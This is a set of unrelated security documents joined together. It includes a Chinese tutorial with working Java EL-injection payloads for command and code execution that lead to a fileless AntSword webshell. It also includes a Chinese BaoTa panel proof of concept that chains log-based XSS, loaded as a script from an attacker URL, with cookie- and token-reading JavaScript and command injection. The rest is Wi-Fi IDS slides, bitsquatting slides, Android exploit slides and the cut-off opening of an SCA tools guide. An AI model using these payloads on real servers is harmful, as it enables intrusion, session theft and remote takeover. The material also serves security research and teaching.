1 EL表达式注⼊的进阶利⽤ 前⾔ 环境搭建 正⽂ ⽆回显执⾏命令 有回显执⾏命令 任意代码执⾏ 直接连接蚁剑 思路扩展 @yzddMr6 表达式注⼊是Java安全从业者会经常碰到的⼀类漏洞。Struct2的ognl表达式注⼊,Nexus3的EL表 达式注⼊,前⼀段时间爆出的Spring Cloud gateway的Spel表达式注⼊等等,重要性不需要多说。 前⼀段时间徐师在Make JDBC Attacks Brilliant Again 番外篇⾥也提到了postgresql+EL表达式来 写⼊Weblogic⼀句话的场景,所以今天想借此机会分享⼀些进阶利⽤的payload。 Tomcat 8.5+jdk8 这⾥模拟了⼀个el表达式注⼊的场景 前⾔ 环境搭建 C# 复制代码 <%@ page import="org.apache.jasper.runtime.PageContextImpl" %> <%    String res = (String) PageContextImpl.proprietaryEvaluate(request.getParameter("code"), String.class, pageContext, null);    out.print(res); %> 1 2 3 4 5 2 可能⼤家最常⻅到的就是执⾏命令的payload,由于el表达式不能执⾏new等操作,所以需要⽤反射来构 造。 样例如下: 或者是借助js引擎 不过两者都是⽆回显的,不优雅。 最早看到的有回显相关的研究是在这篇⽂章:https://forum.butian.net/share/886,写的⾮常好,最 后的payload如下: 正⽂ ⽆回显执⾏命令 有回显执⾏命令 C# 复制代码 code=${"".getClass().forName("java.lang.Runtime").getMethod("exec","".get Class()).invoke("".getClass().forName("java.lang.Runtime").getMethod("get Runtime").invoke(null),"calc.exe")} 1 C# 复制代码 code=${"".getClass().forName("javax.script.ScriptEngineManager").newInsta nce().getEngineByName("js").eval("new+java.lang.ProcessBuilder['(java.lan g.String[])'](['cmd','/c','calc']).start()")} 1 3 由于EL表达式不⽀持直接赋值以及new对象,所以需要⽤到pageContext.getAttribute跟 pageContext.setAttribute来间接实现变量的传递,导致payload写起来⾮常的麻烦,也⾮常的臃肿。 所以我们换⼀种思路,不再使⽤EL⾃身的语法,⽽是在js引擎中实现我们的逻辑。 ⾃⼰在 ⼀种新型Java⼀句话⽊⻢的实现 ⾥⾯对js引擎的各种语法进⾏了详细的解释: https://yzddmr6.com/posts/%E4%B8%80%E7%A7%8D%E6%96%B0%E5%9E%8BJava%E4% B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E7%9A%84%E5%AE%9E%E7 %8E%B0/ 经过简化后,我们的payload如下: C# 复制代码 ${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c dir").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inpu tStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttri bute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateM ethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribu te("inputStream").read(pageContext.getAttribute("heapByteBuffer").array() , 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribut e("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContex t.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstr uctor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAtt ribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.get Attribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes ")} 1 4 以上只是做到了任意命令执⾏,但是在实战中我们更希望得到⼀个任意代码执⾏的⼝⼦。任意命令执⾏ 在进程命令⾏层⾯很容易留下痕迹被发现,⽽任意代码执⾏在语⾔函数层⾯有天然的隐蔽的优势,并且 可以实现注⼊内存⻢等进阶操作。 在这⾥我们同样可以借助js引擎调⽤defineClass来实现任意代码执⾏的操作: ant参数内容如下: 任意代码执⾏ C# 复制代码 ${"".getClass().forName("javax.script.ScriptEngineManager").newInstance() .getEngineByName("js").eval("var s = [3];s[0] = \"cmd\";s[1] = \"/c\";s[2] = \"whoami\";var p = java.lang.Runtime.getRuntime().exec(s);var sc = new java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\\\A\");var result = sc.hasNext() ? sc.next() : \"\";sc.close();result;")} 1 C# 复制代码 code=${"".getClass().forName("javax.script.ScriptEngineManager").newInsta nce().getEngineByName("js").eval(pageContext.request.getParameter("ant")) } 1 5 C# 复制代码 try {    load("nashorn:mozilla_compat.js"); } catch (e) {}  importPackage(Packages.java.util);  importPackage(Packages.java.lang);  importPackage(Packages.java.io);  function Base64DecodeToByte(str) {    importPackage(Packages.sun.misc);    importPackage(Packages.java.util);    var bt;    try {      bt = new BASE64Decoder().decodeBuffer(str);   } catch (e) {      bt = new Base64().getDecoder().decode(str);   }    return bt; }  function define(Classdata, cmd) {    var classBytes = Base64DecodeToByte(Classdata);    var byteArray = Java.type("byte[]");    var int = Java.type("int");    var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(      "defineClass",      byteArray.class,      int.class,      int.class   );    defineClassMethod.setAccessible(true);    var cc = defineClassMethod.invoke(      Thread.currentThread().getContextClassLoader(),      classBytes,      0,      classBytes.length   );    return cc.getConstructor(java.lang.String.class).newInstance(cmd); }    define(  "yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKEx qYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFy aWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7A QADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEACl NvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXh jZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 6 其中字节码部分可以换为注⼊内存⻢的payload。 ⽤defineClass还是每次要编译,如果能直接⽤WebShell管理⼯具就好了。 这时候本⼈写的js引擎的⼀句话就可以排上⽤场了。由于这种类型的使⽤需要内置request跟response 两个对象,所以我们需要先把他绑定到eval的上下⽂中,具体代码如下: 直接连接蚁剑 bmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhb mcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2 Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAA AFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJ AA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAA BMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIAGA==",      "calc"   ); 39 40 C# 复制代码 ${pageContext.setAttribute("engine","".getClass().forName("javax.script.S criptEngineManager").newInstance().getEngineByName("js"));pageContext.get Attribute("engine").put("request",pageContext.request);pageContext.getAtt ribute("engine").put("response",pageContext.response);pageContext.getAttr ibute("engine").eval(pageContext.request.getParameter("ant"))} 1 7 其中code参数是el表达式的payload,蚁剑的payload是通过ant参数传⼊的。所以需要在请求信息中添 加code参数 测试连接成功 8 9 ⾄此我们已经实现了从EL表达式注⼊到WebShell的⽆⽂件利⽤了,后续可以配合As-Exploits插件等来 实现更强⼤的后渗透操作。 其实完全还可以⽤URLClassLoader或者JNDI注⼊等去远程加载我们的任意代码,但是这样做还是需要 出⽹等条件,⽐较麻烦,本⽂就不再延伸了。 思路扩展
pdf
©SecurityTube.net Chellam – a Wi-Fi IDS/Firewall for Windows ©SecurityTube.net Vivek Ramachandran WEP Cloaking Defcon 19 Caffe Latte Attack Toorcon 9 Microsoft Security Shootout Wi-Fi Malware, 2011 802.1x, Cat65k Cisco Systems B.Tech, ECE IIT Guwahati Media Coverage CBS5, BBC Trainer, 2011 ©SecurityTube.net SecurityTube and Pentester Academy ©SecurityTube.net Motivation • Attack! Attack! Attack! • Defense? • Important problem? • Solution viable? ©SecurityTube.net Enterprise Premise Focused Enterprise ©SecurityTube.net Roaming Clients? • State of current solutions – Lockdown Wi-Fi, Bluetooth etc. – Policy based on SSID – Not BYOD ready – No Attack detection • Heterogeneous Devices – Varied Operating Systems – Non standard Wi-Fi API – No low level support e.g. iOS ©SecurityTube.net What about the rest of us? • World beyond Enterprise • Millions of Personal Devices • Every Internet capable device • Internet Of Things (IoT) ©SecurityTube.net Wi-Fi Client Attack Surface • Honeypots – AP-less WEP/WPA/WPA2 Cracking • Evil Twins • Mis-Associations • Hosted Network Backdoors • … ©SecurityTube.net Typical Attack SSID1 SSID2 SSID3 SSID1 SSID2 SSID3 ©SecurityTube.net AP-less Cracking No Encryption WEP WPA/WPA2 PSK WPA/WPA2 PEAP, EAP-TTLS AP-less Cracking Cloud Cracking • Caffe Latte • Hirte Handshake, MS-CHAPv2 CR ©SecurityTube.net Where are you SAFE? Nowhere!!! ©SecurityTube.net Hijack Wi-Fi == Hijack Layer 2 • Traffic Monitoring • DNS Hijacking • SSL MITM • Application Attacks ©SecurityTube.net Defining the Scope • Windows Endpoints – No custom hardware or drivers • Detect Honeypot creation Tools • Firewall like Rule Creation – “Allow”, “Deny” • Monitoring Wi-Fi state machine • Detect Wi-Fi backdoors ©SecurityTube.net Architecture Block Diagram Wi-Fi Native API State Machine Scan Data Network Profiles Card Control Data Collection Engine Event Data BSS Information Profile XML Data Hardware State Data Data Storage Analysis Engine Rule Matching Engine Presentation Layer Interface Application GUI ©SecurityTube.net Wi-Fi Native API Wi-Fi Native API State Machine Scan Data Network Profiles Card Control State Machine Scan Data Network Profiles Card Control 802.11 state machine per Wi-Fi card Periodic Scan Results with BSS data XML network profile data Scan, Connect, Disconnect, Lock etc. ©SecurityTube.net Technicalities https://msdn.microsoft.com/en-us/library/windows/desktop/ms706839(v=vs.85).aspx ©SecurityTube.net Demo – Data Sources ©SecurityTube.net Data Collection and Storage Data Collection Engine Event Data BSS Information Profile XML Data Hardware State Data Data Storage • Stored in SQLITE databases • Makes it easy to write plugins • 3rd party tools can use the database ©SecurityTube.net Demo – SQLITE DB Data ©SecurityTube.net Rule Matching and Analysis Data Storage Analysis Engine Rule Matching Engine • Rules can be written to include: – BSSID – Neighboring Networks – Channel use patterns and frequencies – Information Elements in the Beacon / Probe Response – Access pattern based on time of day ©SecurityTube.net Demo – Monitoring and Event Detection ©SecurityTube.net Understanding Attack Detection Internet SSID N1 N2 N3 N4 ©SecurityTube.net Fingerprinting the Network SSID • BSSID(s) • BSS type • PHY type • Beacon Interval • Channel(s) & Hopping • Rates – basic and extended • Capability Information • Information Element(s) • Neighboring Access Points • AP details as above • IP, Gateway • DNS, ARP cache • Subnet scan • OS and service scan 802.11 (pre connect) IP & Above (post connect) ©SecurityTube.net Typical Attack Mitigation SSID1 SSID2 SSID3 SSID1 SSID2 SSID3 • BSSID(s) • Channel(s) & Hopping • Rates – basic and extended • Capability Information • Information Element(s) • Neighboring Access Points • AP details as above ©SecurityTube.net Demo – Attack Tool Detection (Airbase) ©SecurityTube.net Why is this important? • Attack tools will have to significantly improve • Make it difficult to fingerprint – No hardcoded values, random BSSID etc. • More features to mimic authorized networks – Ability to “clone” network beacons / probe responses – Ability to closely follow Clocks (timestamp) – Have to be on the right channel and band • Very difficult to beat Whitelist approach ©SecurityTube.net Roadmap - Enhancements • Whitelist vs Blacklist • Plugin Architecture – SQL with Python • Intrusion Prevention / Firewall with custom Driver • Assisted and automatic learning of whitelists • Downloadable blacklists for attack tools ©SecurityTube.net Questions?
pdf
BITSQUATTING DNS  HIJACKING  WITHOUT  EXPLOITATION ARTEM  DINABURG DEFCON  19 About  Me J The  Problem Affected  PlaHorms Low  Skill Cheap Bitsquatting Like  typosquaPng,  but  for  bits TyposquaPng There  are 1500  daily  DNS  requests  per  person. Humans  type  3  of  them. 1 0 0 1 01100011  01101110  01101110 01100011  01101111  01101110 01100011011011100110111000101110011000110110111101101101 01100011011011110110111000101110011000110110111101101101  C  N  N  .  C  O  M  C  O  N  .  C  O  M Heat CAUSES  OF  BIT-­‐ERRORS: iPhone  OperaXng  Temperature 0 20 40 60 80 100 120 Temperature  (F) Las  Vegas Montreal iPhone CAUSES  OF  BIT-­‐ERRORS: Electrical Problems CAUSES  OF  BIT-­‐ERRORS: Defects CAUSES  OF  BIT-­‐ERRORS: Cosmic  Rays 10000 - 1/4 5X lOX Fail rate »- Cosmic ray flux —^ 1/2 IBM  Journal  of  Research  and  Development,  vol.  40,  no.  1,  page  13 Lets  talk  about DRAM 1 10 100 1000 10000 100000 "ultra  low"  failure  rates 160GBits  of  DRAM 1Gbit  0.25  micron 256MBytes 32  Gbits  of  DRAM  (Cray  YMP-­‐8) Mfg  1,  1GB  DIMM Mfg  1,  2GB  DIMM Mfg  1,  4GB  DIMM Mfg  2,  1GB  DIMM Mfg  2,  2GB  DIMM Mfg  3,  1GB  DIMM Mfg  4,  1GB  DIMM Mfg  5,  2GB  DIMM Mfg  6,  2GB  DIMM Mfg  6,  4GB  DIMM Micron  EsXmate  (256  Mbytes) Nite  Hawk some  0.13  micron SRAM  and  DRAM Failures  in  Test  (FIT,  Logarithmic  Scale) DRAM  Failure  Rates For  a  PC  with  4GiB  of  DRAM, error  esDmates  range  from  to . 600  PiB Experiment:  Step  1 ikamai.net aeazon.com a-­‐azon.com amazgn.com microsmft.com micrgsoft.com miarosoft.com iicrosoft.com microsnft.com mhcrosoft.com eicrosoft.com mic2osoft.com micro3oft.com doublechick.net do5bleclick.net doubleslick.net li6e.com 0mdn.net 2-­‐dn.net 2edn.net 2ldn.net 2mfn.net 2mln.net 2odn.net 6mdn.net fbbdn.net fbgdn.net gbcdn.net fjcdn.net dbcdn.net roop-­‐servers.net gmaml.com Experiment,  Step  2 ! " !"#$%&'()(*+,&($ !-#$%&.()(*+,&($ /01,/12,'3',/44 !-#$%&'()(*+,&($ /01,/12,'3',/44 N Experiment,  Step  3 ! " !"#$%$&##'%()( &*+,-$./01*+*2,)0*. &##'%()($343$56#$76859 N 0 200 400 600 800 1000 1200 1400 1600 1800 26-­‐Sep-­‐10 3-­‐Oct-­‐10 10-­‐Oct-­‐10 17-­‐Oct-­‐10 24-­‐Oct-­‐10 31-­‐Oct-­‐10 7-­‐Nov-­‐10 14-­‐Nov-­‐10 21-­‐Nov-­‐10 28-­‐Nov-­‐10 5-­‐Dec-­‐10 12-­‐Dec-­‐10 19-­‐Dec-­‐10 26-­‐Dec-­‐10 2-­‐Jan-­‐11 9-­‐Jan-­‐11 16-­‐Jan-­‐11 23-­‐Jan-­‐11 30-­‐Jan-­‐11 6-­‐Feb-­‐11 13-­‐Feb-­‐11 20-­‐Feb-­‐11 27-­‐Feb-­‐11 6-­‐Mar-­‐11 13-­‐Mar-­‐11 20-­‐Mar-­‐11 27-­‐Mar-­‐11 3-­‐Apr-­‐11 10-­‐Apr-­‐11 17-­‐Apr-­‐11 24-­‐Apr-­‐11 1-­‐May-­‐11 Unique  IPs Date Traffic  Volume  (Unique  IPs) A B C Event  A !"#$%&#'()*""+ , -*./+''0'1 !!"#$%&'()'#*!+,',&- 2 3+45+6.%78%9'0(% -*.645#.%6+')+' : ! ; N Event  B !"#$%&#'()*""+ , -*./+''0'1 !"#$%&'()*($+!,-(-'. 2 3+45+6.%78%9'0(% -*.645#.%6+')+' : ! ; N Event  C !"#!"#$%&'#'() $%&'())*)+ !"#!"#$!&'#'() !+#!"#$%&'#'() *+,#*,-#$.$#*// !+#!"#$%&'#'() *+,#*,-#$.$#*// ,(-.(/&#!0# ! ! " # $ % & 69.171.163.0/24 N 0 20 40 60 80 100 120 26-­‐Sep-­‐10 3-­‐Oct-­‐10 10-­‐Oct-­‐10 17-­‐Oct-­‐10 24-­‐Oct-­‐10 31-­‐Oct-­‐10 7-­‐Nov-­‐10 14-­‐Nov-­‐10 21-­‐Nov-­‐10 28-­‐Nov-­‐10 5-­‐Dec-­‐10 12-­‐Dec-­‐10 19-­‐Dec-­‐10 26-­‐Dec-­‐10 2-­‐Jan-­‐11 9-­‐Jan-­‐11 16-­‐Jan-­‐11 23-­‐Jan-­‐11 30-­‐Jan-­‐11 6-­‐Feb-­‐11 13-­‐Feb-­‐11 20-­‐Feb-­‐11 27-­‐Feb-­‐11 6-­‐Mar-­‐11 13-­‐Mar-­‐11 20-­‐Mar-­‐11 27-­‐Mar-­‐11 3-­‐Apr-­‐11 10-­‐Apr-­‐11 17-­‐Apr-­‐11 24-­‐Apr-­‐11 1-­‐May-­‐11 Unique  IPs Date Traffic  Volume,  No  Outliers OS  StaXsXcs 89% 2%   3% <1% 5% 1% Bitsquats 85% 8% 3% 1%   2%   1% Wikipedia Windows Mac iPhone Linux Other Android Bitsquat  Popularity 0 500 1000 1500 2000 2500 3000 3500 4000 kbdn.net gbcdn.net lcdn.net mic2osom.com 2mdn.net doubleslick.net iicrosom.com microsmm.com kcdn.net msn.com do5bleclick.net 2-­‐dn.net amazgn.com 0mdn.net aeazon.com a-­‐azon.com 2mln.net s-­‐msn.com Unique  IPs Bitsquat  Domain Visitors  by  Country (bitsquats  of  Microsoft.com) CN BR US GB IL IT DE RU IN   JP FR   TR UA EG CO  CA PH KR TH PL   LI  MX  ES  TW  PS Where  Bit-­‐errors  Happen DNS DNS DB DNS  Path Content Path Bit-­‐errors  on  the  DNS  Path !"#!""#!$% $%&'())*)+ !"#!!"#!$% !+#!""#!$% &'(#&()#*+*#&,, ,-.#/#0..1/232# -$./01!""#!$% ! ! " # $ % & N Bit-­‐errors  on  the  Content  Path !"#$%&'' ()*+",,-,. /#%0,"123!!!"#!$"#%&455536 789%4%:99;4<5<% '%()*+#!$"#%& ! ! " # $ N Domain  in  HTTP  Host  Header 96% 3% 1% Bitsquat Original Other MiXgaXons ECC  ON EVERYTHING MiXgaXons MiXgaXons -­‐  Ronald  Reagan QuesXons? Image  ApribuXon •  Slide  3:  Earth.  NASA •  Slide  4:  Logos  ©  their  respecXve  owners •  Slide  5:  Childrens  Blocks.  Flickr  User:  lobo235 •  Slide  6:  Dollar  bills.  Flickr  User:  Images_of_Money •  Slide  10:  HAL  9000  ©  Warner  Brothers  Pictures •  Slide  14:  Heat  Lamp.  “Using  memory  errors  to  apack  a  virtual  machine”  by Govindavajhala  and  Appel,  IEEE  S&P  2003 •  Slide  15:  Desert  Sun.  Flickr  User:  Steve  &  Jemma  Copley •  Slide  17:  Backup  Power.  David  Robinson.  Flickr  User:  dgrobinson •  Slide  18:  Fake  Capacitor.  Found  on  Internet,  likely  from  chinauser.cn •  Slide  19:  Homunculus  Nebula.  NASA •  Slide  21:  DRAM.  Self •  Slide  22:  SAS  Drive.  Self •  Slide  24:  BSOD.  Wayne  Williamson.  Flickr  User:  ka3vo •  Slide  25:  Blue  Marble.  NASA
pdf
准备工作: 找到网站名 JS payload 复现过程: 此时的 wwwroot 目录下面是没有文件的 发包 User-Agent: </tExtArEa>"><script src=http://URL/1.js></script> 点击网站日志 成功 RCE 原理分析 这里我用的环境是 7.9.1 版 目前的官网最新版也是 7.9.1 版本 复现流程可以看出来是 xss+后台 RCE 的组合拳 首先是 xss,我们可以看到日志可以成功用</textarea>闭合,然后就是经典的 script src 分析源码,看看宝塔是如何读取日志的 这里有一个 getsitelogs 函数,其中获取了网站的日志路径,然后传进了 GetNumLines 函数, 跟进去如下 函数里面语句较多,但是并没有任何的过滤 然后 returnMsg 直接 return 回来 其中日志是由 nginx 保存的,宝塔读取日志数据并 return 回来,无任何过滤,加上拼接,即 可造成 xss 那么如何扩大危害造成 rce 呢?宝塔其中有一个 getlines 函数如下 注意一个函数,ExecShell,其中使用了 subprocess.Popen 执行了命令,这也是 Py 自带的执 行命令函数,我们可以看到全程也是无过滤的 那么我们转回来看 getline 函数 先判断了传来的 filename 存不存在,不存在就 return,如果存在的话就往下进行拼接 num 和 filename,所以我们就知道了怎么可以 rce,传一个必定存在的 filename,然后 num 执行 命令就可以了,但因为这是在后台,所以需要 xss+csrf 配合触发 全部 poc //JQuery preload (optional) (function(){ var s = document.createElement('script');s.type = 'text/javascript';s.async = true;s.src = 'https://code.jquery.com/jquery-2.1.4.min.js'; (document.getElementsByTagName('head')[0]||document.getElementsByTagN ame('body')[0]).appendChild(s); })(); // cookie let cookies = document.cookie; function getCookie(sKey) { if (!sKey) { return null; } return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\- \.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null; } all_headers = { "Accept":"*/*", "X-Requested-With":"XMLHttpRequest", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Connection":"close", "Accept-Encoding":"gzip, deflate", "dnt":"1", "sec-gpc":"1", "Cookie": cookies, "x-cookie-token": getCookie('request_token'), "Accept-Language":"zh-CN,zh;q=0.9,en;q=0.8", "x-http-token": $('#request_token_head').attr('token'), "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8" } $.ajax({ url: "/ajax", type: "get", data: {"action":"get_lines","filename":"/etc","num":"|echo 'BT RCE test ZAC'> /www/wwwroot/1.txt|"} , headers: all_headers, success: function (data) { console.info(data); } }); RCE2: 原理基本一样,不过我们要让他报错,在后面目录输入乱码语句强制报错 http://URL/ÑÞ:wJ</textarea><script>alert(1)</script> 同 RCE1,这里直接取了错误日志 致谢名单: 孙爱民,H0ly,可笑,广,丞相 有任何问题可以添加本人微信进行交流 zacaq999
pdf
C0RE  Team       Challenge  Impossible   -- Multiple  Exploit  On  Android Hanxiang  Wen,  Xiaodong  Wang About  us  &  C0RE  Team – Hanxiang  Wen,  温瀚翔 • Security  researcher  @  C0RE  Team • Focus  on  Android  vulnerability  research  and  exploit  development – Xiaodong  Wang,  王晓东 • Security  researcher  @  C0RE  Team • Focus  on  Kernel  vulnerability  research  and  exploit  development – C0RE  Team         • A  security-focused  group  started  in  mid-2015,  with  a  recent  focus  on  the   Android/Linux  platform • The  team  aims  to  discover  zero-day  vulnerabilities,  develop  proof-of- concept  and  exploit         • 131  public  CVEs  for  AOSP  and  Linux  Kernel  currently • Android top researcher team for  submitting  high  quality  reports   to  Google  VRP.   Agenda - AOSP  Exploit - CVE-2016-6707 - Looking  Into  Exploit - Improvement  &  Limitation - Kernel  Exploit - CVE-2017-0437 - Vulnerability  Analysis - How  to  Exploit - Combination CVE-2016-6707 Background: – “BitUnmap”  in  system_server – Open  source  exploit  with  some  defects Thanks  to  Gal  Beniamini,  blog  link:   https://googleprojectzero.blogspot.com/2016/12/bitunmap- attacking-android-ashmem.html Mismatch  in  Ashmem Set/Get  size  in  Ashmem: Mismatch  in  Ashmem Map  memory  with  Ashmem: Region  size  in  ashmem may  not  equal  to its  mmaped size  !!! False  assumption  in  Bitmap Create  Bitmap False  assumption  in  Bitmap Free  Bitmap mPixelStorage.ashmem.size(using   in  munmap) size  (using  in  mmap)   Bitmap  OOB  unmap Time len ==  asma-­>size Mapped  Memory Bitmap asma-­>size Mapped  Memory Bitmap asma-­>size Unallocated    Memory Bitmap::doFreePixels() SET_SIZE len Preparation Target  structure  --- Thread Bypass  SELinux rules  (Embedded  Shellcode in  APK): //  system_server.te,  updated  in  Android-­N #  system_server should  never  execute  anything  from  /data  except  for  /data/dalvik-­cache  files. neverallow system_server { data_file_type -­dalvikcache_data_file #mapping  with  PROT_EXEC }:file  no_x_file_perms;;       Exploit Shaping  memory  space  (IPC  with  Notification  Service):   Bitmap Bitmap Bitmap Bitmap Bitmap Bitmap Bitmap Bitmap Bitmap Bitmap Bitmap SoundPool Thread SoundPool Bitmap Bitmap Bitmap Bitmap Allocated Bitmap Allocated Bitmap Bitmap Allocated Low High Time Bitmap Bitmap SoundPool Thread SoundPool Bitmap Bitmap Bitmap Bitmap Bitmap Evil Bitmap SoundPool Thread SoundPool Bitmap Bitmap Bitmap Bitmap Bitmap Unmaped Memory SoundPool Bitmap Bitmap Bitmap Bitmap Bitmap SoundPool Bitmap Bitmap Bitmap Faked Thread Thread  size Improvement Accuray“NOP”before“ADRP”in embedded  shellcode Patch  for  fake  thread  attributes  assembly - Enable  dlopen()  dlsym(). Limitation SELinux mitigation //  system_server.te,  updated  in  Android-­N #  Do  not  allow  opening  files  from  external  storage  as  unsafe  ejection #  could  cause  the  kernel  to  kill  the  system_server. neverallow system_server sdcard_type:dir {  open  read  write  };; neverallow system_server sdcard_type:file rw_file_perms;; #  system  server  should  never  be  opening  zygote  spawned  app  data #  files  directly.  Rather,  they  should  always  be  passed  via  a #  file  descriptor. #  Types  extracted  from  seapp_contexts type=  fields,  excluding #  those  types  that  system_server needs  to  open  directly. neverallow system_server {  bluetooth_data_file nfc_data_file shell_data_file app_data_file }:file  open;; CVE-2017-0437  Introduction Ø Impacted  Phones:  Nexus  5X/Pixel… Ø Vulnerability  Type:  stack  buffer  overflow Ø Qualcomm  driver  vulnerability  of  wlan_hdd_cfg80211.c Ø Exploitation: Using  the  stack  overflow,  we  could  rewrite  the  return   address  of  the  call  function,  then  we  could  control  the  PC  register  to   the  gadget,  and  then  remove  the  process’s  address_limit Ø Chen  Hao  of  Qihoo  360  Technology  Co.  Ltd.  reported  to  Google  in   February  this  year   Ø We  have  been  validated  on  the  MTC19V  version  of  the  Nexus  5X 1.  The  times  of  loop  could  be  set  by  the  PoC/PWN 2.  The  contents  of  memcpy could  also  be  set  by  the  PoC/PWN   ,  and  then  we  could  control  the  contents  of  the  stack Ø Qualcomm  Wi-Fi  driver’s  vulnerability CVE-2017-0437Analysis CVE-2017-0437Analysis Ø The  definition  of  the  struct  roam_ext_params Ø The  netlink  commands  of  PoC/PWN  in  the  user  space Ø ARMv8’s  LR(X30)   on  the  stack,  Push  down  stack  pointer  and  store  FP  and  LR CVE-2017-0437Analysis call  trace: PoC/PWN  workflow CVE-2017-0437 Exploit 1. The  roam_params.bssid_favored_fator[]  overflow  the  caller  function’s   return  address  when  the  loop  more  then  16  times. 2.      using  some  gadgets,  we  could  remove  the  address_limit  of  the  process. stack  frame  layout CVE-2017-0437’s patch Ø The  patch AOSP  and  Kernel  Combination  Exploits AOSP  and  Kernel  Exploit  Workflow   Demonstration C0RE  Team     
pdf
An Open Guide To Evaluating Software Composition Analysis Tools By Ibrahim Haddad, PhD. November 2020 www.linuxfoundation.org The Linux Foundation 2 An Open Guide To Evaluating Software Composition Analysis Tools Introduction With the help of software composition analysis (SCA) tools, software development teams can track and analyze any open source code brought into a project from a licensing compliance and security vulnerabilities perspective. Such tools discover open source code (at various levels of details and capabilities), their direct and indirect dependencies, licenses in effect, and the presence of any known security vulnerabilities and potential exploits. Several companies provide SCA suites, open source tools, and related services driven as community projects. The question of what tool is most suitable for a specific usage model and environment always comes up. It is difficult to answer given the lack of a standard method to compare and evaluate such tools. Therefore, our goal with this paper is to recommend a series of comparative metrics when evaluating multiple SCA tools. This paper is a significantly improved version of Chapter 12 from the Open Source Compliance in the Enterprise (2nd Edition) to document and publicize metrics to compare and evaluate SCA tools, collect feedback and drive towards a standardized model of comparison and evaluation. Please note that no size fits all. There are many tools on the market with varying features, maturity levels, deployment models, etc. As you embark on this journey, we highly recommend that you identify the top desired features for your specific environment and requirements, then test and score the tools against those metrics. The Linux Foundation 3 An Open Guide To Evaluating Software Composition Analysis Tools Evaluation Metrics Metric Description (1) KNOWLEDGE BASE • Size of the knowledge base is typically measured as the number of open source projects, and the number of files tracked. This knowledge base stores information about open source software; the larger the database is, the more open source code you will be able to identify as you scan. • List major repositories tracked (e.g., all of NPM, SourceForge, etc..) • What ecosystems are being tracked (e.g., R, Delphi) • What source languages are in scope (based on extension and repository type). Ideally, the scanner should be language agnostics; however, very few vendors provide that support, hence the need to clarify what languages are supported. • Distinguish between package level detection (e.g., Maven) and “Java” support, e.g., you can find jar dependencies but don’t actually scan .java source files for copyright/license info) • Frequency of update of the knowledge base. More frequent updates are desired to keep up with the fast pace of open source development. Compliance services and tools providers update their databases regularly. Some companies update three or four times per year; other companies do it at a much higher frequency (up to daily). Ideally, you would want to have the largest and most updated database to increase your chances of identifying newly created open source code. • How long does it take for a customer request to be added to the knowledgeable, is there an SLA for requests? What is the process? The Linux Foundation 4 An Open Guide To Evaluating Software Composition Analysis Tools (2) DETECTION CAPABILITIES • Whole components • Ability to correct/configure the analyzer—SW projects are complex with different build setups, and need a way to configure the tool to capture reality. • What is the detection methodology used? Different analysis approaches have pros and cons; the tool creator should summarize how their detection works for each used scanner. • Partial snippets—ranging from few lines to a partial file • What options are offered to correct and verify its results? Does it support the ability to rank results (e.g., P1 or Serious, etc.)? • Ability to auto-identify code with proper origin and license without the need of a compliance engineer directing the tool on what’s a correct match and what’s a false positive. Many of the source code scanning engines, especially those with snippet support, do generate a significant number of false positives that need to be investigated and must be resolved manually. The endless hours of manual labor generated by these false positives is an ongoing problem with some of the most known products in the market today. When evaluating such products, we recommend prioritizing scanning engines capable of auto-identifying source code snippets leading to the least amount of false positives that you need to vet manually. • Supports which type of analysis (distinguish between package level detection and “exact” style file detection used to discover single file copies of the source, binaries, multimedia files): • Source scanners (code -> which OSS package(s)? • Binary scanners (binary -> which OSS package(s)?) • 